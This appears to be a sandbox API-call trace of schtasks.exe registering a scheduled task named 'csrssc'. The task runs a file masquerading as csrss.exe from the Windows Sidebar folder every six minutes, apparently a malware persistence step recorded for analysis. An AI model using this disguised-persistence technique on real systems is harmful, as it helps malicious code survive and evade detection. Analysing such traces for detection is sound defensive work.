lstrlenW (lpString="st") returned 2 [0057.295] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] lstrlenW (lpString="f") returned 1 [0057.295] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|st|") returned 4 [0057.295] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.295] lstrlenW (lpString="|st|") returned 4 [0057.295] lstrlenW (lpString="|f|") returned 3 [0057.295] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0057.295] SetLastError (dwErrCode=0x490) [0057.295] lstrlenW (lpString="sd") returned 2 [0057.295] lstrlenW (lpString="sd") returned 2 [0057.295] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] lstrlenW (lpString="f") returned 1 [0057.295] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sd|") returned 4 [0057.295] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.295] lstrlenW (lpString="|sd|") returned 4 [0057.295] lstrlenW (lpString="|f|") returned 3 [0057.295] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0057.295] SetLastError (dwErrCode=0x490) [0057.295] lstrlenW (lpString="ed") returned 2 [0057.295] lstrlenW (lpString="ed") returned 2 [0057.295] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] lstrlenW (lpString="f") returned 1 [0057.295] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.295] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ed|") returned 4 [0057.295] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.295] lstrlenW (lpString="|ed|") returned 4 [0057.296] lstrlenW (lpString="|f|") returned 3 [0057.296] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0057.296] SetLastError (dwErrCode=0x490) [0057.296] lstrlenW (lpString="it") returned 2 [0057.296] lstrlenW (lpString="it") returned 2 [0057.296] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.296] lstrlenW (lpString="f") returned 1 [0057.296] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.296] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|it|") returned 4 [0057.296] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.296] lstrlenW (lpString="|it|") returned 4 [0057.296] lstrlenW (lpString="|f|") returned 3 [0057.296] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0057.296] SetLastError (dwErrCode=0x490) [0057.296] lstrlenW (lpString="et") returned 2 [0057.296] lstrlenW (lpString="et") returned 2 [0057.296] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.296] lstrlenW (lpString="f") returned 1 [0057.296] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.296] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|et|") returned 4 [0057.296] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.296] lstrlenW (lpString="|et|") returned 4 [0057.296] lstrlenW (lpString="|f|") returned 3 [0057.296] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0057.296] SetLastError (dwErrCode=0x490) [0057.296] lstrlenW (lpString="k") returned 1 [0057.296] lstrlenW (lpString="k") returned 1 [0057.296] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] lstrlenW (lpString="f") returned 1 [0057.297] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|k|") returned 3 [0057.297] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.297] lstrlenW (lpString="|k|") returned 3 [0057.297] lstrlenW (lpString="|f|") returned 3 [0057.297] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0057.297] SetLastError (dwErrCode=0x490) [0057.297] lstrlenW (lpString="du") returned 2 [0057.297] lstrlenW (lpString="du") returned 2 [0057.297] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] lstrlenW (lpString="f") returned 1 [0057.297] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|du|") returned 4 [0057.297] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.297] lstrlenW (lpString="|du|") returned 4 [0057.297] lstrlenW (lpString="|f|") returned 3 [0057.297] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0057.297] SetLastError (dwErrCode=0x490) [0057.297] lstrlenW (lpString="ri") returned 2 [0057.297] lstrlenW (lpString="ri") returned 2 [0057.297] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] lstrlenW (lpString="f") returned 1 [0057.297] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.297] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ri|") returned 4 [0057.297] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.297] lstrlenW (lpString="|ri|") returned 4 [0057.297] lstrlenW (lpString="|f|") returned 3 [0057.297] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0057.298] SetLastError (dwErrCode=0x490) [0057.298] lstrlenW (lpString="z") returned 1 [0057.298] lstrlenW (lpString="z") returned 1 [0057.298] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.298] lstrlenW (lpString="f") returned 1 [0057.298] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.298] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|z|") returned 3 [0057.298] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.298] lstrlenW (lpString="|z|") returned 3 [0057.298] lstrlenW (lpString="|f|") returned 3 [0057.298] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0057.298] SetLastError (dwErrCode=0x490) [0057.298] lstrlenW (lpString="f") returned 1 [0057.298] lstrlenW (lpString="f") returned 1 [0057.298] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.298] lstrlenW (lpString="f") returned 1 [0057.298] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.298] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.298] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.298] lstrlenW (lpString="|f|") returned 3 [0057.298] lstrlenW (lpString="|f|") returned 3 [0057.298] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0057.298] SetLastError (dwErrCode=0x0) [0057.298] SetLastError (dwErrCode=0x0) [0057.298] GetProcessHeap () returned 0x280000 [0057.298] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce70 [0057.298] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.299] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0057.299] lstrlenW (lpString="MINUTE") returned 6 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d6c0 [0057.299] GetThreadLocale () returned 0x409 [0057.299] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0057.299] SetLastError (dwErrCode=0x0) [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x1fc) returned 0x29c4b0 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce40 [0057.299] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.299] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0057.299] lstrlenW (lpString="First") returned 5 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d6e0 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce10 [0057.299] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.299] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0057.299] lstrlenW (lpString="Second") returned 6 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d700 [0057.299] GetProcessHeap () returned 0x280000 [0057.299] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cde0 [0057.299] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.300] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0057.300] lstrlenW (lpString="Third") returned 5 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d720 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cdb0 [0057.300] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.300] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0057.300] lstrlenW (lpString="Fourth") returned 6 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d740 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd80 [0057.300] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.300] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0057.300] lstrlenW (lpString="Last") returned 4 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa) returned 0x29d760 [0057.300] lstrlenW (lpString="6") returned 1 [0057.300] _wtol (_String="6") returned 6 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd50 [0057.300] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.300] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0057.300] lstrlenW (lpString="First") returned 5 [0057.300] GetProcessHeap () returned 0x280000 [0057.300] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d780 [0057.300] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.300] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0057.301] lstrlenW (lpString="Second") returned 6 [0057.301] GetProcessHeap () returned 0x280000 [0057.301] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d7a0 [0057.301] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.301] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0057.301] lstrlenW (lpString="Third") returned 5 [0057.301] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.301] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0057.301] lstrlenW (lpString="Fourth") returned 6 [0057.301] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.301] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0057.301] lstrlenW (lpString="Last") returned 4 [0057.301] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc6a0, cchData=128 | out: lpLCData="0") returned 2 [0057.301] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.301] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0057.301] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0057.301] GetProcessHeap () returned 0x280000 [0057.301] GetProcessHeap () returned 0x280000 [0057.301] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6e0) returned 1 [0057.301] GetProcessHeap () returned 0x280000 [0057.301] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d6e0) returned 0xc [0057.301] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6e0 | out: hHeap=0x280000) returned 1 [0057.301] GetProcessHeap () returned 0x280000 [0057.301] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d6e0 [0057.302] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc6c0, cchData=128 | out: lpLCData="0") returned 2 [0057.302] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.302] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0057.302] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0057.302] GetProcessHeap () returned 0x280000 [0057.302] GetProcessHeap () returned 0x280000 [0057.302] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d700) returned 1 [0057.302] GetProcessHeap () returned 0x280000 [0057.302] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d700) returned 0xe [0057.302] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d700 | out: hHeap=0x280000) returned 1 [0057.302] GetProcessHeap () returned 0x280000 [0057.302] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d700 [0057.302] GetLocalTime (in: lpSystemTime=0xdc8f0 | out: lpSystemTime=0xdc8f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x29, wMilliseconds=0x3bc)) [0057.302] lstrlenW (lpString="") returned 0 [0057.324] GetLocalTime (in: lpSystemTime=0xdd1a8 | out: lpSystemTime=0xdd1a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x29, wMilliseconds=0x3db)) [0057.324] lstrlenW (lpString="") returned 0 [0057.324] lstrlenW (lpString="") returned 0 [0057.324] lstrlenW (lpString="") returned 0 [0057.324] lstrlenW (lpString="") returned 0 [0057.324] lstrlenW (lpString="6") returned 1 [0057.324] _wtol (_String="6") returned 6 [0057.324] lstrlenW (lpString="") returned 0 [0057.324] lstrlenW (lpString="") returned 0 [0057.324] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0057.350] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0057.424] CoCreateInstance (in: rclsid=0xff691ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff691ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdcf70 | out: ppv=0xdcf70*=0x15dee0) returned 0x0 [0057.445] TaskScheduler:ITaskService:Connect (This=0x15dee0, serverName=0xdd050*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdd010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0057.501] TaskScheduler:IUnknown:AddRef (This=0x15dee0) returned 0x2 [0057.501] TaskScheduler:ITaskService:GetFolder (in: This=0x15dee0, Path=0x0, ppFolder=0xdd108 | out: ppFolder=0xdd108*=0x4f7d30) returned 0x0 [0057.503] TaskScheduler:ITaskService:NewTask (in: This=0x15dee0, flags=0x0, ppDefinition=0xdd100 | out: ppDefinition=0xdd100*=0x4f7d80) returned 0x0 [0057.503] ITaskDefinition:get_Actions (in: This=0x4f7d80, ppActions=0xdd080 | out: ppActions=0xdd080*=0x4f7e40) returned 0x0 [0057.504] IActionCollection:Create (in: This=0x4f7e40, Type=0, ppAction=0xdd0a0 | out: ppAction=0xdd0a0*=0x4f65d0) returned 0x0 [0057.504] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.504] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.504] lstrlenW (lpString=" ") returned 1 [0057.504] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0057.504] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0057.504] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0057.504] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0057.505] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0057.505] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0057.505] IUnknown:Release (This=0x4f65d0) returned 0x1 [0057.505] IUnknown:Release (This=0x4f7e40) returned 0x1 [0057.505] ITaskDefinition:get_Triggers (in: This=0x4f7d80, ppTriggers=0xdcc00 | out: ppTriggers=0xdcc00*=0x4f6340) returned 0x0 [0057.506] ITriggerCollection:Create (in: This=0x4f6340, Type=1, ppTrigger=0xdcbf8 | out: ppTrigger=0xdcbf8*=0x4f6640) returned 0x0 [0057.506] lstrlenW (lpString="6") returned 1 [0057.506] _vsnwprintf (in: _Buffer=0xdcb80, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdcb78 | out: _Buffer="PT6M") returned 4 [0057.506] ITrigger:get_Repetition (in: This=0x4f6640, ppRepeat=0xdcbf0 | out: ppRepeat=0xdcbf0*=0x4f66d0) returned 0x0 [0057.506] IRepetitionPattern:put_Interval (This=0x4f66d0, Interval="PT6M") returned 0x0 [0057.506] IUnknown:Release (This=0x4f66d0) returned 0x1 [0057.506] _vsnwprintf (in: _Buffer=0xdcb40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdcb18 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0057.506] ITrigger:put_StartBoundary (This=0x4f6640, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0057.506] lstrlenW (lpString="") returned 0 [0057.506] lstrlenW (lpString="") returned 0 [0057.506] lstrlenW (lpString="") returned 0 [0057.506] lstrlenW (lpString="") returned 0 [0057.506] IUnknown:Release (This=0x4f6640) returned 0x1 [0057.506] IUnknown:Release (This=0x4f6340) returned 0x1 [0057.507] ITaskDefinition:get_Settings (in: This=0x4f7d80, ppSettings=0xdd0a0 | out: ppSettings=0xdd0a0*=0x4f63b0) returned 0x0 [0057.507] lstrlenW (lpString="") returned 0 [0057.507] IUnknown:Release (This=0x4f63b0) returned 0x1 [0057.507] GetLocalTime (in: lpSystemTime=0xdcf58 | out: lpSystemTime=0xdcf58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2a, wMilliseconds=0x9f)) [0057.507] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0057.507] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0057.507] GetUserNameW (in: lpBuffer=0xdcf80, pcbBuffer=0xdcf68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdcf68) returned 1 [0057.508] ITaskDefinition:get_RegistrationInfo (in: This=0x4f7d80, ppRegistrationInfo=0xdcf50 | out: ppRegistrationInfo=0xdcf50*=0x4f7ec0) returned 0x0 [0057.508] IRegistrationInfo:put_Author (This=0x4f7ec0, Author="") returned 0x0 [0057.508] _vsnwprintf (in: _Buffer=0xdcf80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdcf18 | out: _Buffer="2023-09-19T17:16:42") returned 19 [0057.508] IRegistrationInfo:put_Date (This=0x4f7ec0, Date="") returned 0x0 [0057.508] IUnknown:Release (This=0x4f7ec0) returned 0x1 [0057.508] malloc (_Size=0x18) returned 0x4f7fa0 [0057.508] free (_Block=0x4f7fa0) [0057.509] lstrlenW (lpString="") returned 0 [0057.509] malloc (_Size=0x18) returned 0x4f7fa0 [0057.509] ITaskFolder:RegisterTaskDefinition (in: This=0x4f7d30, Path="csrssc", pDefinition=0x4f7d80, flags=6, UserId=0xdd1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdd230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdf100, varVal2=0xfe), LogonType=3, sddl=0xdd210*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdd110 | out: ppTask=0xdd110*=0x4f68b0) returned 0x0 [0057.944] free (_Block=0x4f7fa0) [0057.944] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.944] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0057.945] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0057.945] GetProcessHeap () returned 0x280000 [0057.945] GetProcessHeap () returned 0x280000 [0057.945] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d720) returned 1 [0057.945] GetProcessHeap () returned 0x280000 [0057.945] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d720) returned 0xc [0057.945] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d720 | out: hHeap=0x280000) returned 1 [0057.945] GetProcessHeap () returned 0x280000 [0057.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x82) returned 0x2b9ca0 [0057.945] _vsnwprintf (in: _Buffer=0xdd850, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdd0b8 | out: _Buffer="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0057.945] _fileno (_File=0x7feffe22ab0) returned -2 